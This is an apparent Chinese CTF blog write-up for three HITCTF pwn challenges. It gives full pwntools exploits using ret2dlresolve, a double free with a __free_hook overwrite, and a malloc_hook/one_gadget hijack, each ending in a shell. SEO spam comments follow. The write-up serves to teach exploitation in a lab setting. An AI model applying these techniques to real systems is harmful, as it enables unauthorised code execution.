Loading... 哈工大办的比赛,题目不难,和学弟们组队打了一下 🐱🚀 ## silent 签到题,一看这个程序里有栈溢出但没有输出函数,然后再一看是NO RELRO+No PIE,想到改下dynamic和strtable然后触发ret2dlresolve ```python from pwn import* #p=process('./pwn') p=remote('47.106.219.36',10000) #gdb.attach(p) p.sendline(b'ststem\x00') p.send('06294032') p.send(p64(0x600c00-0x24)) func_input=0x400697 main_addr=0x400709 #gdb.attach(p) payload=b'a'*0x30+p64(0x600c40)+p64(main_addr) p.sendline(payload) #gdb.attach(p) p.sendline(b'ststem\x00') p.send('06294416') p.send(p64(0x400526)) payload=b'a'*0x30+p64(0x600c40)+p64(main_addr) p.sendline(payload) #gdb.attach(p) p.sendline(b'system\x00') p.send(b'/bin/sh\x00') p.interactive() ``` ## babyrc glibc2.27,申请来的chunk可以设置为二叉树的节点,有一个全局数组记录每个chunk作为节点的次数,如果把某个chunk移出二叉树时它作为节点的次数--=0,就free这个chunk。 漏洞在于,这个全局数组是char类型的,可以溢出,而且free chunk是通过父节点的子节点指针,如果一个chunk同时设为了两个父节点的子节点的话,free一次后在另一个父节点里仍存有指向它的指针,配合char数组的溢出就可以double free。 exp: ```python from pwn import* #p=process(["./ld-2.27.so","./babyrc"],env={"LD_PRELOAD":"./libc-2.27.so"}) p=process("./babyrc",env={"LD_PRELOAD":"./libc-2.27.so"}) #p=remote('120.79.142.58',10000) libc=ELF('./libc-2.27.so') #context.log_level='debug' def add(idx,size,content): p.sendlineafter("6. exit",'1') p.sendlineafter("idx : ",str(idx)) p.sendlineafter("desc size : ",str(size)) p.sendafter("desc : ",content) def delete(src,idx): p.sendlineafter("6. exit",'2') p.sendlineafter("3. set root",'1') p.sendlineafter("src : ",str(src)) p.sendlineafter("dst : ",str(idx)) p.sendlineafter("as left child (1 means yes, else means no) ? ",'1') p.sendlineafter("6. exit",'2') p.sendlineafter("3. set root",'2') p.sendlineafter("node idx : ",str(src)) p.sendlineafter("remove left child (1 means yes, else means no) ? ",'1') def show(idx): p.sendlineafter("6. exit",'4') p.sendlineafter("idx : ",str(idx)) def add_node(src_idx,dst_idx): p.sendlineafter("6. exit",'2') p.sendlineafter("3. set root",'1') p.sendlineafter("src : ",str(src_idx)) p.sendlineafter("dst : ",str(dst_idx)) p.sendlineafter("as left child (1 means yes, else means no) ? ",'1') def remove_node(idx): p.sendlineafter("6. exit",'2') p.sendlineafter("3. set root",'2') p.sendlineafter("node idx : ",str(idx)) p.sendlineafter("remove left child (1 means yes, else means no) ? ",'1') #leak heap add(0,0x90,b'a') add(1,0x90,b'a') add(2,0x90,b'a') delete(0,1) delete(0,2) add(1,0x20,b'a'*0x10) show(1) p.recvuntil(b'a'*0x10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x400 info("heap_base: "+hex(heap_base)) #leak libc delete(0,1) add(1,0x90,b'a') add(2,0x90,b'a') for i in range(3,9): add(i,0x90,b'a') for i in range(1,9): delete(0,i) gdb.attach(p) for i in range(1,8): add(i,0x90,b'a') add(8,0x80,b'a'*8) show(8) p.recv(8) libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebd30 info("libc_base: "+hex(libc_base)) #gdb.attach(p) #double_free for i in range(9,9+0x101+8+1): #9--9+0x101 #9+0x102--9+0x101+8(0x112) add(i,0x10,b'a') add(0x113,0x10,b'a') add(0x114,0x20,b'a') for i in range(9,9+0x102): add_node(i,0x113) for i in range(0x10b,0x112): delete(0,i) remove_node(9+0x101) remove_node(9+0x100) delete(0,0x112) for i in range(9,9+0x100): remove_node(i) #overlapping(uaf) for i in range(0x10b,0x112): add(i,0x10,b'a') add(0x112,0,b'') delete(1,0x114) #delete 0x114 for more 0x30 chunks free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] info("free_hook: "+hex(free_hook)) info("system: "+hex(system)) #add(0x114,0x18,p64(heap_base+0x5ce0)) add(0x114,0x18,p64(free_hook)) #add(0x115,0x18,p64(0)+p64(0x100)+p64(free_hook)) add(0x115,0x18,b'a') add(0x116,0x8,b'/bin/sh\x00') add(0x117,0x8,p64(system)) #system('/bin/sh\x00') delete(2,0x116) p.interactive() ``` ## babyvm 简简单单一个opcode题 开头先要绕过一个小限制,把指向'/dev/urandom'的指针换成指向写进去的'/dev/null' one_gadget一次打不通的话用realloc调整栈帧 ![](https://pic.imgdb.cn/item/61a64e222ab3f51d913041ff.png) exp: ```python from pwn import* p=process('./babyvm',env={'LD_PRELOAD':'./libc-2.23.so'}) #p=remote('120.25.250.204',10000) elf=ELF('./babyvm') libc=ELF('./libc-2.23.so') context.log_level='debug' def create(code): p.sendafter("4.exit\n>>> ", b"1") p.send(code) def execute(): p.sendafter("4.exit\n>>> ", b"2") def destroy(): p.sendafter("4.exit\n>>> ", b"3") p.recvuntil("Welcome to HITCTF-VM :)\nGive me your secret:") p.send(b'a'*0x20) #step 1 #gdb.attach(p) p.recvuntil("3.play game!\n>>") p.sendline('2') #gdb.attach(p) p.recvuntil(b'a'*0x20) elf_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1398 info("elf_base: "+hex(elf_base)) p.recvuntil("3.play game!\n>>") p.sendline('1') p.recvuntil("Give me another secret:") p.send(b'/dev/null\x00'.ljust(0x20,b'\x00')+p64(elf_base+0x202060)[0:6]) p.recvuntil("3.play game!\n>>") p.sendline('3') #gdb.attach(p) p.recvuntil("Input your key to start your machine:") p.send('0') p.recvuntil("HITCTF-VM starting...") #step 2 #leak libc puts_got=elf_base+elf.got['puts'] payload1=b'' for i in range(8): payload1+=b'\x31\x03' payload1+=p64(puts_got+i) payload1+=b'\x53\x00' payload1+=b'\x32' create(payload1) execute() a=u64((p.recv(1)+p.recvuntil('\x7f'))[1:7].ljust(8,b'\x00')) #print(a) libc_base=a-0x6f6a0 info("libc_base: "+hex(libc_base)) destroy() #gdb.attach(p) #fuck free_hook ogg=libc_base+0x4527a malloc_hook=libc_base+libc.symbols['__malloc_hook'] realloc_hook=libc_base+libc.symbols['__realloc_hook'] realloc=libc_base+libc.symbols['realloc'] info("realloc: "+hex(realloc)) info("malloc_hook: "+hex(malloc_hook)) info("realloc_hook: "+hex(realloc_hook)) info("ogg: "+hex(ogg)) #gdb.attach(p) payload2=b'' for i in range(8): payload2+=b'\x31\x03' payload2+=p64(malloc_hook-1+i) payload2+=b'\x54\x00' for i in range(9): payload2+=b'\x31\x03' payload2+=p64(realloc_hook-1+i) payload2+=b'\x54\x00' payload2+=b'\x32' create(payload2) #gdb.attach(p) execute() gdb.attach(p) p.send(p64(realloc+13)) #gdb.attach(p) p.send(p64(ogg)+b'\x00') #p.send(p64(realloc+13)) #gdb.attach(p) #get shell destroy() p.sendafter("4.exit\n>>> ", b"1") #gdb.attach(p) p.interactive() ``` 最后修改:2021 年 12 月 01 日 10 : 29 AM © 允许规范转载
28 条评论
兄弟写的非常好 https://www.cscnn.com/
想想你的文章写的特别好https://www.237fa.com/
叼茂SEO.bfbikes.com
叼茂SEO.bfbikes.com
555
555
1
1
1
1
1
1
1
1
555
555
1
1
1